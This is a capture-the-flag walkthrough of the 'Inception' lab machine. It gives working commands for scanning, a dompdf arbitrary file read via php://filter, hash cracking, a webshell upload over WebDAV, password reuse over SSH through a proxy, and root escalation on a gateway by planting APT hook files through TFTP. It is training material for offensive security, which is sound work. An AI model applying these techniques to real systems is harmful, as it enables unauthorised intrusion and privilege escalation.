Enumeration
Port scanning
We scan the full range of TCP ports using masscan:
$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.67
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-04-14 09:24:04 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 10.10.10.67
Discovered open port 3128/tcp on 10.10.10.67
We found TCP ports 80 and 3128 open. Let’s explore them using nmap:
$ sudo nmap -A -p80,3128 10.10.10.67
Starting Nmap 7.70 ( https://nmap.org ) at 2018-04-14 12:28 EEST
Nmap scan report for 10.10.10.67
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Inception
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.16 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Getting shell
If we view the the source code of the main page (view-source:http://10.10.10.67/) we notice a comment:
...
<!-- Todo: test dompdf on php 7.x -->
...
Let’s try to visit http://10.10.10.67/dompdf/
Index of /dompdf
[ICO] Name Last modified Size
[PARENTDIR] Parent Directory -
[ ] CONTRIBUTING.md 2014-01-26 20:25 3.1K
[ ] LICENSE.LGPL 2013-05-24 03:47 24K
[ ] README.md 2014-02-07 03:30 4.8K
[ ] VERSION 2014-02-07 06:35 5
[ ] composer.json 2014-02-02 08:33 559
[ ] dompdf.php 2013-05-24 03:47 6.9K
[ ] dompdf_config.custom.inc.php 2013-11-07 04:45 1.2K
[ ] dompdf_config.inc.php 2017-11-06 02:21 13K
[DIR] include/ 2014-02-08 01:00 -
[DIR] lib/ 2014-02-08 01:00 -
[ ] load_font.php 2013-05-24 03:47 5.2K
Apache/2.4.18 (Ubuntu) Server at 10.10.10.67 Port 80
Nice. Let’s check its version http://10.10.10.67/dompdf/VERSION
0.6.0
Now, we can search for exploits:
$ searchsploit dompdf 0.6.0 -w
-------------------------------------------------------
dompdf 0.6.0 - 'dompdf.php?read' Arbitrary File Read
https://www.exploit-db.com/exploits/33004/
dompdf 0.6.0 beta1 - Remote File Inclusion
https://www.exploit-db.com/exploits/14851/
-------------------------------------------------------
Exploit 33004 inform us for arbitrary file read vulnerability is present on dompdf.php file:
GET /dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE> HTTP/1.1
Let’s test it http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd
...
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash
ftp:x:107:112:ftp daemon,,,:/srv/ftp:/bin/false
...
Nice! It works. Now, let’s examine some interesting files:
http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf
...
Alias /webdav_test_inception /var/www/html/webdav_test_inception
<Location /webdav_test_inception>
Options FollowSymLinks
DAV On
AuthType Basic
AuthName "webdav test credential"
AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
Require valid-user
</Location>
...
Webshell
Interesting! Let’s see this webdav.passwd: http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/var/www/html/webdav_test_inception/webdav.passwd
...
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
...
Let’s find the hash type (don’t forget to escape $ or enclose the whole hash in single quotes):
$ hashid \$apr1\$8rO7Smi4\$yqn7H.GvJFtsTou1a7VME0
Analyzing '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0'
[+] MD5(APR)
[+] Apache MD5
$ hashid '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0'
Analyzing '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0'
[+] MD5(APR)
[+] Apache MD5
Let’s crack (i.e. reverse) this hash:
$ hashcat -h | grep MD5 | grep APR
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | HTTP, SMTP, LDAP Server
$ hashcat -m 1600 '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0' /usr/share/dict/rockyou.txt
...
$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0:babygurl69
...
Therefore our webdav login credentials are webdav_tester:babygurl69. If you try to obtain a usual shell you will discover soon that most kinds of traffic are blocked by the firewall. So, we are gonna upload a webshell to get us going:
$ cadaver
dav:!> open http://10.10.10.67/webdav_test_inception
Authentication required for webdav test credential on server `127.0.1.1':
Username: webdav_tester
Password: babygurl69
dav:/webdav_test_inception/> put b374k.php
Uploading b374k.php to `/webdav_test_inception/b374k.php':
Progress: [=============================>] 100.0% of 947 bytes succeeded.
Now, we can visit http://10.10.10.67/webdav_test_inception/b374k.php in order to have access to our webshell (use webdav_tester:babygurl69 again for credentials).
SSH shell
If we explore the box a little, using our webshell, we are gonna find MySQL credentials inside /var/www/html/wordpress_4.8.3/wp-config.php:
...
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');
...
Remember, we know already a user name from /etc/passwd (cobb). Maybe that password for MySQL is re-used. Let’s try it. First, add the squid proxy to /etc/proxychains.conf:
$ cat /etc/proxychains.conf
http 10.10.10.67 3128
Now let’s try this:
$ proxychains ssh cobb@127.0.1.1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib64/libproxychains.so.4.12
[proxychains] DLL init: proxychains-ng 4.12
[proxychains] Strict chain ... 10.10.10.67:3128 ... 127.0.1.1:22 ... OK
cobb@127.0.1.1's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Sat Apr 14 12:01:57 2018 from 127.0.0.1
cobb@Inception:~$
Yeah! It works!
Now let’s see if our cobb user has any sudo right:
cobb@Inception:~$ sudo -l
[sudo] password for cobb: VwPddNh7xMZyDQoByQL4
Matching Defaults entries for cobb on Inception:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User cobb may run the following commands on Inception:
(ALL : ALL) ALL
cobb@Inception:~$ sudo -i (or sudo su)
Password: VwPddNh7xMZyDQoByQL4
root@Inception:/home/cobb# whoami
root
Wow! We are root. Let’s get this flag.
root@Inception:/home/cobb# cd /root
root@Inception:~# cat root.txt
You're waiting for a train. A train that will take you far away. Wake up to find root.txt
Well… not so soon. It appears that we are inside another box.
Privilege escalation
Let’s explore a little:
root@Inception:~# cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 192.168.0.1
root@Inception:~# arp -a
? (192.168.0.1) at fe:ae:a2:b2:88:11 [ether] on eth0
root@Inception:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:16:3e:28:53:63
inet addr:192.168.0.10 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::216:3eff:fe28:5363/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:858019 errors:0 dropped:0 overruns:0 frame:0
TX packets:583712 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:74512993 (74.5 MB) TX bytes:106431159 (106.4 MB)
...
root@Inception:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.0.10
netmask 255.255.255.0
gateway 192.168.0.1
dns-nameservers 192.168.0.1
Well, it seems we are 192.168.0.10 and our gateway is 192.168.0.1. Let’s find what ports are listening on the gateway (Look mom! No need for nmap! :D):
root@Inception:~# nc -zv 192.168.0.1 1-65535 &> results && cat results | grep succeeded
Connection to 192.168.0.1 21 port [tcp/ftp] succeeded!
Connection to 192.168.0.1 22 port [tcp/ssh] succeeded!
Connection to 192.168.0.1 53 port [tcp/domain] succeeded!
Well, well. Port 21 (i.e. FTP) is open. Let’s try it:
root@Inception:/dev/shm# ftp 192.168.0.1
Connected to 192.168.0.1.
220 (vsFTPd 3.0.3)
Name (192.168.0.1:cobb): anonymous
331 Please specify the password.
Password: anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
That’s it! Now, if we explore a little the gateway, using our FTP access, we are gonna find some intresting things:
ftp> cd /etc
250 Directory successfully changed.
ftp> get passwd
local: passwd remote: passwd
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for passwd (1622 bytes).
226 Transfer complete.
1622 bytes received in 0.00 secs (4.0600 MB/s)
ftp> get crontab
local: crontab remote: crontab
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for crontab (826 bytes).
226 Transfer complete.
826 bytes received in 0.00 secs (2.4464 MB/s)
ftp> cd default
250 Directory successfully changed.
ftp> get tftpd-hpa
local: tftpd-hpa remote: tftpd-hpa
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for tftpd-hpa (118 bytes).
226 Transfer complete.
118 bytes received in 0.00 secs (281.0594 kB/s)
ftp> exit
221 Goodbye.
root@Inception:~# cat passwd
...
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:111:118:ftp daemon,,,:/srv/ftp:/bin/false
tftp:x:112:119:tftp daemon,,,:/var/lib/tftpboot:/bin/false
...
root@Inception:~# cat tftpd-hpa
# /etc/default/tftpd-hpa
TFTP_USERNAME="root"
TFTP_DIRECTORY="/"
TFTP_ADDRESS=":69"
TFTP_OPTIONS="--secure --create"
root@Inception:~# cat crontab
...
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * root apt update 2>&1 >/var/log/apt/custom.log
30 23 * * * root apt upgrade -y 2>&1 >/dev/null
...
We see that we have also TFTP access with writing permissions to create new files (in contrast our FTP access is read only):
--create, -c
Allow new files to be created. By default, tftpd will only
allow upload of files that already exist. Files are created
with default permissions allowing anyone to read or write them,
unless the --permissive or --umask options are specified.
We have also a very interesting cron job which is executed every 5 minutes:
...
*/5 * * * * root apt update 2>&1 >/var/log/apt/custom.log
...
Getting root flag
Now, read this: https://www.cyberciti.biz/faq/debian-ubuntu-linux-hook-a-script-command-to-apt-get-upgrade-command/
We can add some hooks to run a command or script after running apt-get by adding or editing files inside the /etc/apt/apt.conf.d/ directory:
root@Inception:/dev/shm# echo 'APT::Update::Pre-Invoke {"/bin/cp /root/root.txt /dev/shm/flag; chmod 755 /dev/shm/flag"};' > 100update
root@Inception:/dev/shm# tftp 192.168.0.1
tftp> put 100update /etc/apt/apt.conf.d/100update
Sent 56 bytes in 0.0 seconds
tftp> q
Now wait a little and the use ftp to read the flag:
root@Inception:~# ftp 192.168.0.1
ftp> cd /dev/shm
ftp> get flag
ftp> bye
root@Inception:~# cat root.txt
8d1e2e91de427a6fc1a9dc309d563359
Getting root shell (on 192.168.0.1 via SSH)
We can create a private/public key pair for our user:
root@Inception:/home# cd /root/.ssh
root@Inception:~/.ssh# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:o34Av3ZHFt2bC3ZW7A2Q7wlaARTZzXqkeAnf7+w8AcE root@Inception
The key's randomart image is:
+---[RSA 2048]----+
| .+=.+ |
| o =E+ |
| = @.. |
| . o X.* o|
| o S = +.O.|
| o. .+ o B.+|
| .o o . + +.|
| .o o . .oo|
| ..o . .+|
+----[SHA256]-----+
root@Inception:~/.ssh# ls
id_rsa id_rsa.pub known_hosts
Then we can upload our public key on 192.168.0.1:/id_rsa.pub /root/.ssh/authorized_keys using TFTP. The problem with this approach is that TFTP creates the file with too broad permissions (anyone is allowed to read or write it). SSH public keys fail if authorized_keys has incorrect permissions. But, we can use our previous apt trick to set the correct permissions:
root@Inception:~/.ssh# echo 'APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > 10update
root@Inception:~/.ssh# tftp 192.168.0.1
tftp> put id_rsa.pub /root/.ssh/authorized_keys
Sent 397 bytes in 0.0 seconds
tftp> put 10update /etc/apt/apt.conf.d/10update
Sent 67 bytes in 0.0 seconds
tftp> q
Now wait a little and then you can connect to 192.168.0.1 as root via SSH:
root@Inception:~/.ssh# ssh root@192.168.0.1
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
root@Inception:~# cat root.txt
8d1e2e91de427a6fc1a9dc309d563359